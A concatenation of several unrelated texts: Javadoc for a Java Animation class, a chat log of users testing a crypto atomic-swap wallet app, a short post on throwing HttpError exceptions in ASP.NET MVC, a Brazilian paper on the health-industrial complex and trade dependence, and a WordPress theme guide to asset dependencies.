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frameDurations |
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frames |
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looping |
private boolean |
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private boolean |
reverse |
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delete()
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draw(float x,
float y,
float width,
float height)
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Image |
getCurrentFrame() |
int |
getCurrentFrameIndex() |
Image |
getFrame(int frame) |
int |
getFrameCount() |
long |
getFrameDuration(int frame) |
float |
getHeight() |
private static Image[] |
getImages(Resource resource)
Loads an animation file and converts it to a list of sequenced frames.
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float |
getWidth() |
boolean |
isDeleted() |
boolean |
isLooping() |
boolean |
isPingPong() |
void |
nextFrame()
Goes to the next frame in the animation.
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void |
setCurrentFrameIndex(int frame)
Sets the current frame index of the animation.
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void |
setFrameDuration(int frame,
long duration)
Sets the frame duration.
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void |
setLooping(boolean looping)
Sets the animation to whether or not it should loop.
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void |
setLoopingPingPong(boolean looping,
boolean pingPong)
Sets the animation to whether or not it should loop and to whether or not
it should ping pong.
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void |
setPingPong(boolean pingPong)
Sets the animation to whether or not it should ping pong.
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java.lang.String |
toString() |
void |
update(long delta)
Updates the animation.
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private static final java.lang.String IMAGE_EXTENSION
private final Image[] frames
private final long[] frameDurations
private boolean looping
private long frameUpdate
private int currentFrame
private boolean pingPong
private boolean reverse
private boolean deleted
public Animation(Image[] frames, long frameDuration)
public Animation(Resource resource, long frameDuration) throws java.io.IOException
java.io.IOException
private static Image[] getImages(Resource resource) throws java.io.IOException
resource
- the resource to load.java.io.IOException
- thrown if an error occurs while reading the resource.public boolean isLooping()
true
if the animation is looping, false
otherwise.public void setLooping(boolean looping)
looping
- true
if the animation should loop,
false
otherwise.public boolean isPingPong()
true
if the animation has ping pong enabled. Keep in
mind that if ping pong is enabled the animation will still only
play once with the ping pong unless looping is also enabled.public void setPingPong(boolean pingPong)
pingPong
- true
if ping pong should be enabled,
false
otherwise.public void setLoopingPingPong(boolean looping, boolean pingPong)
looping
- true
if the animation should loop,
false
otherwise.pingPong
- true
if ping pong should be enabled,
false
otherwise.public Image getFrame(int frame)
frame
- the frame index.public int getFrameCount()
public Image getCurrentFrame()
public int getCurrentFrameIndex()
public void setCurrentFrameIndex(int frame)
frame
- the frame index to skip to.public void nextFrame()
public long getFrameDuration(int frame)
frame
- the frame index.public void setFrameDuration(int frame, long duration)
frame
- the frame index.duration
- how long in milliseconds the frame should be on screen before
the animation switches to the next frame.public void update(long delta)
delta
- the delta.public float getWidth()
public float getHeight()
public void draw(float x, float y, float width, float height)
Drawable
public boolean isDeleted()
public void delete()
Deletable
public java.lang.String toString()
toString
in class java.lang.Object


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Mark8117-Jul-19 06:11 PM
If not said here.
SHossain17-Jul-19 06:13 PM
yep, Malti and me mentioned it above
i'll create an issue for this
Mark8117-Jul-19 06:16 PM
And is there possibility to give an estimation of time for swaps to be complete based on like last few blocktimes on swap pairs?
Please add notifications for:
1. When coins received
2. Coins successfully sent
3. KMD reward claim successful
4. Swap started
5. Swap completed
SHossain17-Jul-19 06:17 PM
@Mark81 different coin has different confirmation time, i dont' think we can predict this as this also has to take on account on connectivity
blocks are not 100% consistent and rely on mining
we will get more complains if the estimated time is not right
jansako17-Jul-19 06:20 PM
ETA can change as swap progress hapens
Mark8117-Jul-19 06:21 PM
Yes variates but we are talking about only giving like time based on last blocks. It helps to know if we are seeing blocktimes longer than normal.
SHossain17-Jul-19 06:21 PM
i understand. you guys will not complain. but, there are plenty other users who will just dislike or complain if the estimated time is not correct and changing
steps are there to give you better understanding of what is happening
that's definately a good suggestion.
Mark8117-Jul-19 06:24 PM
Ok, how about deep dive from default view to advanced info what is really happening on blockchain level?
Markus17-Jul-19 06:26 PM
There is a bug in swapping kmd to vrsc, if i select kmd and write 0.1 i can choose any coin i want to recieve and 0.1 will stay but if i choose vrsc it changes 0.1 to something else
t0sma17-Jul-19 06:26 PM
I have an issue. There is no historic data. Does it work for you? Same for all coin. Picture above
I mean when you are ‘in’ the coin. Where you can see your Tx history on e.g. kmd or eth. There you only have the send receive option. Not swap
Malti17-Jul-19 06:28 PM
@SHossain flight mode doesn’t seem to be able to push the swap through. Waited 20+ minutes
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SHossain17-Jul-19 06:29 PM
no internet = no swap
Malti17-Jul-19 06:29 PM
Good to have tested tho
1
SHossain17-Jul-19 06:29 PM
if there is a few second gap in internet connection, the app might resume the swap(edited)
but not always 100% guaranteed
nymkappa17-Jul-19 06:30 PM
Sell me your rfox people. Cmc rate ahah :D
Talking about rates, it could be nice to fetch the rate from oracles instead of having to compute your own, when we will be able to always set our own rates. Could also have some laddering like "Sell 5% premium / discount"(edited)
allbits17-Jul-19 06:32 PM
@t0sma I've been having the same issue for the last half hour or more. Also not seeing any order books. Is this a possible networking issue?
SHossain17-Jul-19 06:34 PM
@Hollowman9000 did you test any swaps yet?
1
allbits17-Jul-19 06:36 PM
Chronobank not listed yet
So he can't
SHossain17-Jul-19 06:36 PM
he loves RICK & MORTY
Hollowman900017-Jul-19 06:38 PM
Chronobank trading is like desecration of a corpse, you’re not supposed to disturb the dead in their final resting place
t0sma17-Jul-19 06:39 PM
@allbits yeah maybe network issue.
allbits17-Jul-19 06:40 PM
Anyone have any ideas about this. It's persisting?
SHossain17-Jul-19 06:40 PM
try clearing app cache or restarting phone
hope you are not using a mining address
allbits17-Jul-19 06:42 PM
Tried restart already. Not using mining address. Same thing for all coins
Also no order books
SHossain17-Jul-19 06:43 PM
there might be some issues with VRSC electrum servers
we need nSPV
allbits17-Jul-19 06:44 PM
It's every coin
SHossain17-Jul-19 06:44 PM
hmmmm....maybe connection issue then? can't be all coins


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Using exceptions to return non-success results in MVC 6
Earlier versions of MVC provided exceptions that could be used to return a HTTP error response. This was removed in later version(s).
In old-school MVC to return a particular HTTP status result, code would raise the appropriate exception.
These special exceptions were then mapped to corresponding HTTP responses.
Agree; or dis-agree; MVC has removed this, in favor of controller methods with a IActionResult return. The reasoning can be found in this MVC issue.
I had a need to re-use the 'exception' approach. My approach is a little different from the others I found.
The HttpError Exception is created with the IActionResult to be used. Then a supporting ExceptionFilter simply applies the result.
Using the gist is super simple. Throw a kwd.gist.HttpError like so
using kwd.gist; public class MyController : Controller { public object MyAction() { throw new HttpError(NotFound("I don't have one of those")); } }And register the filter to handle it, Global filter is convenient.
using kwd.gist; public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(opt =>{ opt.Filters.Add(new HttpErrorFilter()); }); } }So, the above example reports a HTTP 404 rather than a nasty 500 internal server error.


Development, health-industrial complex and industrial policy
Carlos Augusto Grabois Gadelha
Departamento de Administração e Planejamento em Saúde. Escola Nacional de Saúde Pública. Fundação Oswaldo Cruz. Rio de Janeiro, RJ, Brasil
ABSTRACT
This paper puts health questions within the context of national development and industrial policy. It follows the idea of structuralist, Marxist and Schumpeterian approaches, in which industry and innovations form determining factors for the dynamism in capitalist economies and relative positions within the world economy. All countries that have developed and started to compete under better conditions with advanced countries have had an association between strong industry and an endogenous knowledge, learning and innovation base. However, in the field of health, this vision presents problems because business interests move according to the economic logic of profit rather than to meet health needs. The notion of the health-industrial complex is an attempt to provide a theoretical reference that enables linkage between two distinct types of logic: health and economic development. This study has sought to show, on the basis of foreign trade data, how disregard for the logic of health policy development has led to a situation of economic vulnerability in this sector, which may limit the objectives of universality, equality and comprehensiveness. Within this context, a cognitive and political break with these antagonistic visions that put health needs on one side and industrial needs on the other is proposed. A country that aims to reach a condition of development and independence requires strong innovative industries and an inclusive and universal health system, at the same time.
Keywords: Industry, economics. Industries, trends. Health care sector. Technological development. Health sciences, technology and innovation management. National science, technology and innovation policy.
INTRODUCTION
This paper puts health questions within the context of national development and industrial policy. It follows the idea of structuralist, Marxist and Schumpeterian approaches, in which industry and innovations form determining factors for the dynamism in capitalist economies and relative positions within the world economy. All countries that have developed and started to compete under better conditions with advanced countries have had an association between strong industry and an endogenous base of knowledge, learning and innovation.
However, in the health field, this vision presents problems because business interests move according to the economic logic of profit rather than to meet health needs. The notion of the health-industrial complex is an attempt to provide a theoretical reference that enables linkage between two distinct types of logic: health and economic development. This arises because health is simultaneously a right within citizenship and a strategic front for development and innovation within the knowledge society.
The objective of the present study was to show, on the basis of data on innovation potential in Brazil and foreign trade data, how disregard for the logic of health policy development has led to a situation of economic vulnerability in this sector, which may limit the objectives of universality, equity and comprehensiveness.
DEVELOPMENT AND INDUSTRIAL POLICY: THE STRUCTURALIST TRADITION IN THE KNOWLEDGE SOCIETY
The question of development and industrial policy always permeates the debate around the role of the State in overcoming the backwardness in underdeveloped countries. In Brazil, this debate guided the contributions of the "classical development economics" to overcoming dependence and underdevelopment . Several authors can be cited, such as: Prebisch,19 Furtado,10 Tavares,22 Cardoso & Faletto4 and Cardoso de Mello,5 among many others within the ECLAC tradition (Economic Commission for Latin America and the Caribbean),1 who were always against the idea that1 natural market forces would lead to a convergence in per capita income and individuals' standard of living. The development strategy and changes would require ruptures in the economic structure and political and institutional order.
It is within this theoretical context that developmental policies were pursued in various Latin American countries over the period from 1930 to 1980. Industry was taken as the central core of the strategies of these countries that craved to overcome their situation of dependence and their location on the periphery of the economic system.
Industrialization would simultaneously allow the production of goods with greater added value, endogenization of the generation of technical progress, and improvement in international position or in the language of ECLAC, there would be exchange between primary and industrial goods. This would progressively lead to development and a reduction in the dependence on developed countries. In short, the struggle for development was the struggle for industrialization. At a political level, industry would also allow a new alliance between the industrial bourgeoisie and the workers, to the detriment of the "backward" primary exporting segments. Thus, this would enable a more inclusive and egalitarian pattern of development, in conjunction with other policies such as agrarian reform.
According to Tavares22 (1979), the industrialization process was not natural and would involve qualitative leaps and ruptures in the productive structure. In its first phase, the process would involve the installation of "light" industries with lower capital and technological requirements, so that in a subsequent phase, heavy industries with inputs of basic raw materials and capital goods would come in. In this second phase, the role of the State would be seen to be central, allowing the financing of the capital accumulation and coordination of the complementary investments, including investments in economic infrastructure. The instruments utilized would go from reserving a market for the national and foreign private segment to setting up large-sized state companies.
For the purposes of the present article, it is not appropriate to make a more in-depth critique of this vision, but only to extract some of the more important ideas for the case of Brazil, from authors who at that time shared the developmental and ECLAC tradition. In brief, although the national problem was treated in depth, the questions of the development model, inequality and exclusion were incorporated according to a simplistic view of the relationship between the State and society. The internal class interests associated with international capital were not considered adequately and perpetuated the dependence and incorporation of the bottom segments in the social pyramid (Cardoso & Faletto,4 1979). In fact, the endogenous reality of the development of capitalist forces in Brazil, within a national development picture that was late in the historical context of the advanced (or oligopolistic) phase of world capitalism and the past of slavery and colonialism, was disregarded. In other words, the question of development was largely reduced to the relationship between the center and the periphery, without considering the internal capitalistic, economic, political and social dynamics of a backward and dependent country (Cardoso de Mello,5 1982).
From the point of view of more recent theories, which started from the studies by Schumpeter21 on development centered on the process of innovation, it can be said that the typical model from ECLAC did not distinguish between production capacity incorporated in machines and equipment, and technological capacity. In other words, in more present-day terms, the knowledge and learning base form the most prominent dynamic factors in company and national competitiveness. The systemic nature of innovation, with industry as the dynamic core of the generation and dissemination of technical progress was little considered. Consequently, there was little emphasis on the competencies required for a continuous learning process and for setting up an endogenous basis for innovation that would allow the introduction of continual improvements in goods, services and production processes, thereby also raising the capacity for prospecting and absorbing technology from the international frontier. In other words, today it is clearly perceived that for economic development, it is not enough to have productive capacity but it is also essential to have a systemic and industrial base that is capacitated for generating knowledge and innovation (Kim & Nelson,16 2005).
Independent of the criticisms and the fact that, in certain situations like the Brazilian one, the concrete process of expansion of peripheral capitalism has been extremely excluding and unequal, the growth and diversification of the manufacturing sector and industrial policy have been at the root of overcoming the dependence and changing the international division of labor. This is a point of unity among all the authors cited, who have focused their concerns on the development process, taking the basis of its role as the motor for technical progress and dissemination of innovations to the whole system, including to agriculture and services. The structuralist ECLAC perception formed a very strong reference that guided the development path pursued by Brazil between 1950 and 1980. Even as an excluding and concentrating model, particularly during the years of authoritarianism, this vision of development was behind a vigorous process of economic growth (an average of more than 8% per year), accompanied by strong changes in the production structure.
The neoliberal revolution took place at the end of the 1970s and during the 1980s, and the ideas from this are still very present in current public policies. This revolution incisively attacked the development strategy adopted, a model that was labeled as "import substitution". In these ideas, the State's role of induction and coordination was rejected and the policies adopted were accused of being inefficient and ineffective. International agencies like the International Monetary Fund (IMF) and the World Bank (IBRD) adopted a view in their norms and policies that the essential role of the State should be to create the foundations for a market economy to function well (by following a "marketing conforming approach"). This was emphasized in reference documents containing critiques and proposals for a new model (BIRD,1,2 1993, 1997).
The successful experience of East Asian countries was also (re) read in a distorted and fallacious manner, as successful cases of development without selective interventionism from the State in the economic structure, thus going against all the historical evidence. In this process, the principal targets of the attack were developmental policies and industrial policy, in particular (Gadelha,11 2001). Along these lines, and as a counterpart to the successful cases, the Brazilian experience was presented as an emblematic example of the failure of the import substitution mode. It was disregarded that the material basis for a more developed form of capitalism had in fact been established between the years 1950 and 1980, despite the problems of inequality, exclusion and precarious basis for innovations that have already been mentioned. The result from this attack and the effective exhaustion of the previous model, in the face of the new challenges brought about by asymmetrical globalization and the third technological revolution, was more than two decades of macroeconomic stagnation and involution of the industrial structure implemented (Coutinho,8 2005).
Within the health field, in the opposite direction to this restricted view of the State's role, the foundations for the National Health System (SUS) were launched precisely at the end of the 1980s and beginning of the 1990s. SUS was delineated by the guidelines of the Eighth National Health Conference of 1986 and was to a large extent instituted in the Brazilian Constitution of 1988 and in the Health System Law (Law 8,080 of September 19, 1990). It can be noted that the latter was approved by the National Congress, during the full force of the Collor government, which, in turn and contradictorily, represented the victory of the neoliberal paradigm in the national strategy that has been permeating successive economic policies implemented since then.
Thus, in general terms, the health sector has developed out of step with liberalizing reforms, and has been seated within a vigorous social and political movement (the health movement or "party"), thereby engendering one of the most important forms of federative alliances and participation by civil society in national public policies (Cordeiro,7 2001). In conceptual terms, the perception promoted by the health movement and in academia that health could not be treated sectorally (i.e. just as the fighting of diseases) was also important. Health was seen as related to general living conditions and implying the need for integrated multisectoral treatment, involving the question of health promotion (Buss,3 2000) and, even more comprehensively, the national development pattern itself.
However, this integral view of health and its relationship with development has never dealt with its relationship with the strategies for industrial activity and for generating and disseminating health innovations, except within the tradition of research and the actions relating to technological evaluation for health. This is from a perspective principally relating to the regulation of the process of incorporating technologies into the health system, by means of a variety of lines of economic analysis of cost-benefit type.
Although strategic for the rationale of the system and for meeting health needs, this traditional way of dealing with the question of technology and innovation in the health field does not cover health in one other dimension. That is, health as an important front for innovation, income and employment generation and development, within a context of excluding and asymmetrical globalization (Lastres et al,17 2005), in which economic dependence appears in a variety of forms, including, importantly, in the production of health-related goods and services.
The recent literature on development shows that the health field constitutes an important front for activities relating to science and technology, innovation, employment and income generation and, therefore, economic development. It is invariably one of the leading fields in national innovation systems, together with the military-industrial complex (Rosemberg et al,20 1995). According to the internal logic of capitalist competition (on an oligopolistic basis), company production within health also constitutes a source of intense generation of asymmetry, private appropriability of the fruits of technical progress and exclusion of people, regions and countries. Dependence and underdevelopment therefore also leave a significant structural mark on the health field, thereby restricting the evolution of healthcare and the construction of a universal, equitable and comprehensive system.2 This makes it a challenge for less developed countries to bring in new technological paradigms, by means of forming an endogenous basis for health innovation and setting up competitive industry.
In short, the development pattern in the knowledge society cannot be dealt with on one side and the health system on the other, as if they were two independent dimensions. Separate treatment solely following defensive logic aimed at protecting the interests of industry, and the pressure from industry for absorbing new products and processes in the system, has meant that social forces, which historically have struggled for a wide-ranging and inclusive health system in Brazil, have ended up acting in the same direction as the neoliberal model. In turn, this model has sought to veto the endogenous processes of development, industrialization and overcoming dependence in less developed countries, by means of denying active and selective policies for the production structure in the sectors with greatest dynamism, such as health.
Thus, a double and contradictory attack on health innovation linked to development of the productive forces of the industrial sectors can be seen. On the one hand, it comes from a neoliberal line that simply discards the role of the State in industrial policy. On the other hand, it comes from a line associated with the field of critical thought among health policymakers that has always defended the expansion of the role of the State for forming a fair and universal system, but which has hardly ever taken health to be a vital field for national development on a company basis.
The question that is posed is complex, notably in the political field, but it absolutely necessary to face up to it. Added to the usual agenda for research and health policy, there is the need for a new agenda focusing on drawing up policies for developing production activities. It should involve science, technology and, fundamentally, industrial and innovation policies for the different sectors, including for the field of services.
To this end, it becomes necessary to incorporate the topics connected with the development of economic activities and industrial policy. However, this requires updating to adapt to a society in which the competitive basis is increasingly founded on knowledge and innovation (Cassiolato,6 1999). Among these topics of analytical and normative nature, the following can be highlighted:
THE HEALTH-INDUSTRIAL COMPLEX: IN SEARCH OF AN INTEGRATED VISION
It is within this historical, economic and political context that the concept of the health-industrial complex has been developed (Gadelha,3,12 2002, 2003). It has been sought to capture the health and economic dimensions simultaneously, within a perspective of thinking out the interactions between health and development, insofar as possible. This relationship goes beyond the concept of a system for adequate care. It ultimately relates to its place within a development strategy that simultaneously emphasizes dynamism and attenuation of the economic dependence in strategic sectors, within the present historical context, as exemplified by electronic equipment, biotechnology and new materials. The big challenge is to build a model that allows restructuring of the national productive base towards economic dynamism and overcoming the backwardness in critical areas, in order to attenuate the inequality and social exclusion, as seen in all segments that form part of the health complex.
The notion of the health-industrial complex is simultaneously a cognitive, analytical and political approach. As Figure 1 shows, it forms "... a selected set of productive activities that maintain intersectoral relationships of buying and selling goods and services (such that they are picked up, for example, in the input-product matrices in the national accounts) and/or knowledge and technologies..." (Gadelha,12 2003 p. 523). These productive activities are within a very particular political and institutional context that involves the provision of services and the economic space to which all the health production flows. Thus, this activity is completely within the complex, both because it is increasingly organized on a company basis4 and because it configures the health market as a political and institutional construction. This confers an organic nature on the complex, thereby allowing connections within the same context, between the production of services and goods that are as different as medications, equipment and diverse materials or products for diagnostic purposes.
The perspective is systemic and therefore related to the concept of the national innovation system within health (Rosemberg et al,20 1995). The concept of the health-industrial complex gives emphasis to productive activity as a critical element of this system, considering that the core of the country's economic vulnerability in the health field is the fragility of the Brazilian industrial and company system. The country's innovation capacity is determined by the potential for transforming knowledge into new goods and services, or ones that have been improved in their quality or production process. In Brazil, this capacity is detached from the national scientific and technological base and from the needs of the health system, especially because of the low capacitation among companies for carrying out research and development activities (Gadelha,13 2005). From this perspective, it can be stated that the complex constitutes an effort towards restoring the structuralist perspective, thus emphasizing the questions of development, dependence, industrial policy and innovation in the health field, within the historical context of asymmetrical globalization and the technological-industrial revolution that is in progress.
Taking this theoretical reference to the health-industrial complex in the context of the national development pattern, and focusing on its potential for innovation and the profile of activities that are carried out in this country, this now has to be situated with respect to the historical question of dependence and development.
The most recent data on the company capacity for innovation were gathered by the Pesquisa Industrial de Inovação Tecnológica 2003 (PINTEC - Industrial Survey on Technological Innovation), (IBGE,15 2005). This recent and highly relevant initiative demonstrates the low intensity of innovation within health industry companies, with specific data for the pharmaceutical industry ("manufacture of pharmaceutical products") and the medical-hospital equipment industry, although in this latter category other products unrelated to health (precision and optical equipment, industrial automation, chronometers and clocks) were included.5 The specific data are revealing, even considering that, in relation to the mean for such industrial companies, these activities are well positioned. In general terms, the innovation rate seems to be high: 50.4% of the pharmaceutical companies and 45.4% of the equipment companies had introduced some product or process innovation between 2001 and 2003. Nevertheless, the more scattered data show that these activities were largely concentrated on the acquisition of equipment for improving processes and on new products and processes for companies, but not for the national market. Only 0.53% of net income was spent on internal research and development activities in the "innovative" pharmaceutical companies, and 1.22% in the equipment companies that introduced some innovation into the market. Other data, for which the detailing is outside of the scope of the present article, also show the low importance of relationships with science and technology institutions for carrying out research and development activities, the low level of cooperation and alliances for the development of innovations, and the low impact of government programs. Only 16% of innovative companies received any support from the State in these two sectors, and the economic market risk ("market conditions" and "economic risks") were the most critical factor that limited or even blocked the more intense innovation strategies.
Behind these indicators, there is a need to "open up" the health complex through its segments, thereby seeking to capture the profile of productive activities carried out in Brazil. For this, the best indicators are those related to the trade balance, since they mirror the segments in which this country is capacitated or dependent on imports. Since the notion of the industrial complex fundamentally relates to the productive base existing in this country, this indicator is much more relevant than others relating to scientific publications and even to patents. In Brazil, these last two indicators reflect much more the capacitation in applied research and not necessarily the potential for innovation, which should always be correlated with the company base.
SITUATION OF DEPENDENCE ON FOREIGN TRADE
On the basis of this theoretical reference, the situation of dependence was characterized by means of gathering and systematizing the foreign trade data for the health complex as a whole and for each of its segments. The information utilized was the data available in the databases of the Secretaria de Comércio Exterior do Ministério de Desenvolvimento, Indústria e Comérico Exterior (SECEX, Alice network - Secretariat of Foreign Trade of the Ministry of Development, Industry and Foreign Trade).
Along general lines, the following methodological procedures were adopted, in accordance with Gadelha3 (2002).
Support diagnostic/laboratory reagents and reagents for determining blood groups and factors were excluded from the group of consumable materials (Group 4), since these two items were included in the diagnostic reagents segment. Despite the inclusions and exclusions made, which were because of the specific needs of the study and the analytical approach adopted, the values are very close to and comparable with those presented in the literature and by the business association.
On the basis of this methodology for dealing with the trade balance within health, the information was gathered in dollars (FOB - Free On Board) for the complex and for its segments, for the period from 1997 to 2004. The figures were monetarily corrected to the year 2004 on the basis of the United States Consumer Price Index (CPI), in order to have real values as backing for the analysis.
In general terms, analyzing the period as a whole, as shown in Table 1, it appears that there was an improvement in the external conditions of the complex with regard to the trade balance. The year 1998 presented the worst performance regarding the trade deficit, reaching a real value of US$3.8 billion, and also presented the greatest figure for imports effected by the industrial complex (US$4.48 billion). In 2003, these values reached a lower level than at the end of the 1990s, such that the deficit declined to less than US$2.5 billion for the first time in the eight years analyzed, because of reductions in imports.
Nonetheless, this picture of the trade balance for the complex is not very encouraging when factors of a macroeconomic nature are taken into account and a more broken down analysis by products and groups of countries is made. From a macroeconomic point of view, there was a clear impact on the performance of the sector coming from the evolution of the exchange rate, which was a stronger impact than in the evaluation made in an earlier study (Gadelha,12 2003). Since there is a certain delayed reaction between the evolution of the exchange rate and its result in imports and exports, it can be inferred that the high level of imports up to 2001 partly resulted from the excessive valuation of the exchange rate up to 1999, which made imports within the complex competitive (i.e. cheaper) in relation to the local offer. In the years 2002 and 2003, the deficit reduced markedly, to reach its lowest value in 2003, as the resultant effect (with a time delay) from the large exchange rate devaluation that occurred in 1999. In 2004, imports grew again, by almost 20%, and this may have been related to the increase in the exchange rate associated with the macroeconomic adjustment carried out on the basis of high interest rates. This picture was very attractive for the entry of capital, thereby leading to upward valuation of the exchange rate starting at the beginning of 2003.
Here, a first source of economic vulnerability in the health-industrial complex already appears: its high dependence on external conditions and macroeconomic policy. Any movement in the exchange rate may lead to an explosion in health expenditure or on imports. Under a certain economic situation, exchange rate devaluation may, at least initially, before generating its effects of reduction of external acquisitions and increase of exports, lead to pressure on health expenditure (imports becoming more expensive in Brazilian currency) that is incompatible with budget availability.7 Under another macroeconomic situation, upward valuation of the exchange rate, as seen today, may lead to an explosion of imports and increased demand for foreign exchange to cover health needs.
In both situations, what is clear is that the economic model for external and internal adjustments interferes directly in health actions, thereby limiting their degree of freedom and therefore precisely the social policies relating to access and inclusion. The relationship between development pattern, industrial policy and health conditions is evident, thus showing the risk of excessive external dependence with regard to making health policies and their objectives viable.
However, there are also structural questions that can be shown by the data analysis, and these are even more relevant from a long-term development perspective. Table 2 shows, in terms of product lines, that the dependence on imports is concentrated on the products involving higher technology and knowledge. Analysis of the origins and destinations by economic blocks confirms this indication that the dependence is concentrated in the most dynamic segments. Brazilian exports relating to health are mostly destined for less developed blocks, such that Mercosul and the "Rest of the World" accounted for 61% of external sales in 2004. On the other hand, 73% of the imports came from the more developed countries of the European Union and the North American Free Trade Agreement area (NAFTA, United States and Canada, especially).
There is therefore clear asymmetry in Brazilian international relations, thus demonstrating the technological dependence relating to more intensively knowledge-based products coming from the more developed countries. For such cases, there is little sensitivity in external purchases in relation to the price and exchange rate. To accomplish health actions, Brazil has ended up having to import high-technology products from the more developed countries at any cost. This is why, following the upward leap in the trade deficit at the end of the 1980s, a time when it is estimated on the basis of the existing literature that it was US$700 million (Negri & Giovanni,18 2001), the level of imports into this country has never been less than US$3 billion. On the other hand, in the segments and markets that are sensitive to price and therefore to the exchange rate, local competitiveness is connected with products and processes of lower technological level, as also shown in the data from IBGE15 (PINTEC 2003) that were analyzed earlier.
Figures 2 to 8 illustrate the evolution of the segments of the complex over the analysis period. In the pharmaceutical industry (Figures 2 and 3), in addition to the weak performance of exports, both of drugs and of medications, what is seen first is the degree of dependence that exists. Putting the two segments together, pharmaceutical care has depended very heavily and riskily on imports, and the summed value has never been less than US$2 billion in real terms. Even when the drug segment has appeared to be evolving favorably through reducing imports, this movement has at least partially been compensated by increases in the imports of medications. This indicates a situation that is even more unfavorable, in which instead of imports being concentrated on the active agents (as occurred during the 1980s), Brazil has also started to depend on finished products that were formulated abroad.
In the field of equipment and materials (Figure 4), which was the segment that most reduced its imports over the course of the period, the dependence is concentrated on electronic equipment, which certainly constitutes the goods of greatest complexity and innovation potential. There is a significant industry in this country that has produced good responses in relation to local demand, but in the context of the microelectronic revolution and the exchange rate conditions, its competitive capacity for the future clearly may be under threat.
Within the field of technologies based on biotechnology (blood derivatives, diverse products for diagnostic purposes, vaccines, serums and toxins), all companies are increasing their imports, and in some cases very significantly. In the case of blood derivatives (Figure 5), the situation is explosive, with imports already reaching almost US$300 million, thus tripling in real terms over the analysis period. Unless urgent action is implemented regarding industrial development and production,8 Brazil may come to have serious difficulties in its successful policy for access to these products.
In the case of reagents for diagnostic purposes (Figure 6), even though the data are very concentrated, the deficit remained chronic and there was a very large increase in the last year of the analysis period. This situation reflects a loss of opportunity to enter a technological segment that is promising in terms of its capacity for interaction between the science and technology system and the industry, considering that the technological leap between laboratory activities and industrial activities is relatively small in relation to other sectors.
Finally, in the fields of vaccines (Figure 7) and serums and toxins (Figure 8), there was a clear worsening in the commercial situation, with large growth in imports and trade deficit. This process may partly be the result from strategies adopted by the main national producers (Bio-Manguinhos/Fiocruz and Butantan) to establish technology transfer agreements with the major world leaders of the industry, through import commitments during the period of absorbing the technology. However, there is the risk inherent to this type of agreement that the technological frontier may shift by the end of this period, thereby bringing back the question of dependence.
In summary, the analysis of the trade balance of the health-industrial complex reflects how the national pattern of development has induced precarious specialization in the production base and international positioning that is strongly asymmetrical, thereby making the health system vulnerable and dependent.
FINAL CONSIDERATIONS AND PERSPECTIVES
The results allow it to be demonstrated that there is a need to think of health in the general context of Brazil's strategy for development and dependence reduction, which should be a natural consequence of a broad-based conception of health (and not a sectoral approach). The concept of the health-industrial complex has been shown to useful within this context, in that it precisely relates the need to join health care logic to economic development logic within the health field. Study of this, with emphasis on the questions of innovation and this country's specialization pattern within the world context, has demonstrated the analytical and normative disregard for the economic dynamics of the sector. This brings the consequence of extreme vulnerability for the national health policies, and may imply risks to the objectives of universality, equity and comprehensiveness.
As a political consequence, this analysis places the question of joining together industrial policy and health policy at the center of a strategy for developing the complex, with the backdrop of the debating of and prospects for a new development model for the country. This model should simultaneously give emphasis to the dynamics of innovation and development of the industry and to social inclusion, thereby again taking the structuralist perspective put forward following Furtado10 (1961), within a contemporaneous rereading.
Recently, some important steps have been taken, albeit insufficient. Within the field of industrial policy, the Industrial, Technological and Foreign Trade Policy (PITCE) that was launched in November 2004 incorporated key segments of the health-industrial complex. Taking a broad view of the pharmaceutical industry, including medications, drugs, blood derivatives and vaccines, this segment was selected as one of the four strategic options relating to fields of high dynamism and intensity of knowledge. This policy then implied the mobilization of significant funding instruments (such as the Development Support Program for the Pharmaceutical Productive Chain, Profarma, from the National Bank for Economic and Social Development, BNDES) and other initiatives related to public investments in medications and blood derivatives. In addition to this, one of the other strategic options is capital goods, with linkage to prioritize medical equipment within the scope of this policy, by means of interventions by the recently created Agência Brasileira de Desenvolvimento Industrial (ABDI - Brazilian Agency for Industrial Development).
Moreover, some generic measures for improving the institutional environment have been facilitating and adding flexibility to the relationships between research institutions and the private productive sector (Law 10,973 of December 2, 2004, the "Innovation Law"). The conceding of fiscal incentives to companies, including investments in technology (Law 1,196 of November 21, 2005, formerly known as the Provisional Measure for tax concessions), is also acting towards creating an environment that is favorable for innovation and investments in the health industry.
Within the field of health policies, it can be stated that the question of the health-industrial complex has started to form part of large numbers of policy documents (in the form of the "Health-Productive Complex"). Directives have been established, including in the current National Health Plan, and also a set of sectoral policies, such as for generic, strategic, exceptional and AIDS medications. Furthermore, within the Ministry of Health's own structure, the National Secretariat for Science, Technology and Strategic Supplies has been created, and thus there is now a specific locus focusing on scientific, technological and industrial development within health. In this way, the industrial question is no longer being dealt with independently from the question of knowledge generation.
In summary, the present context can be seen to be much more favorable than it was in the past. Nonetheless, there is a long way to go towards a cognitive and political break with the antagonistic visions that still separate health needs and the country's needs for industrial development into two hermetically sealed camps. Failure to utilize the purchasing power associated with health policies for technological and industrial development in real practice is a prominent example of how the dichotomy between the two types of logic still persists. In this respect, there is an essential need to overcome this dichotomy. A country that aims to reach a condition of development and independence requires strong and innovative industries and an inclusive and egalitarian health system, simultaneously. This is perhaps one of the most important strategic challenges within the Brazilian Health System.
ACKNOWLEDGEMENTS
To Carmen N. P. Romero Casas of the Escola Nacional de Saúde Pública - Fiocruz, for their support in gathering and systematizing the foreign trade data and organizing the information; to Militze Bortoloto Cajazeira, of the Department of Planning and Development (Depla) of the Secretariat of Foreign Trade (Secex) of the Ministry of Development, Industry and Foreign Trade (MDIC), for guidance in obtaining data from the Federal Government (Alice network); to Jorge Luís, of the Foreign Trade Group of the Secretariat of Foreign Trade (Secex) in Rio de Janeiro, for sending the codes for the items that form part of the Mercosul Common Nomenclature, with updated changes for all items within the health-industrial complex; and to Henrique Chaves for support in the final organizing of the figures and tables.
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Theme Assets
CSS & JS
BLR Base Theme automatically enqueues the main theme CSS (app.css
) and JS
(app.js
) files for you if they exist. By default the theme CSS has no
dependencies, while the theme JS has one dependency (jQuery). If your theme CSS
or JS has any other dependencies, you can use the blr/assets/css-deps
and
blr/assets/js-deps
filters to add them. For example, let's say you're using
Underscore in your theme JS. To add Underscore as a dependency, you'd do
something like this:
function customize_theme_js_deps( $deps ) {
if ( ! in_array( 'underscore', $deps, true ) ) {
$deps[] = 'underscore';
}
return $deps;
}
add_filter( 'blr/assets/js-deps', 'customize_theme_js_deps' );
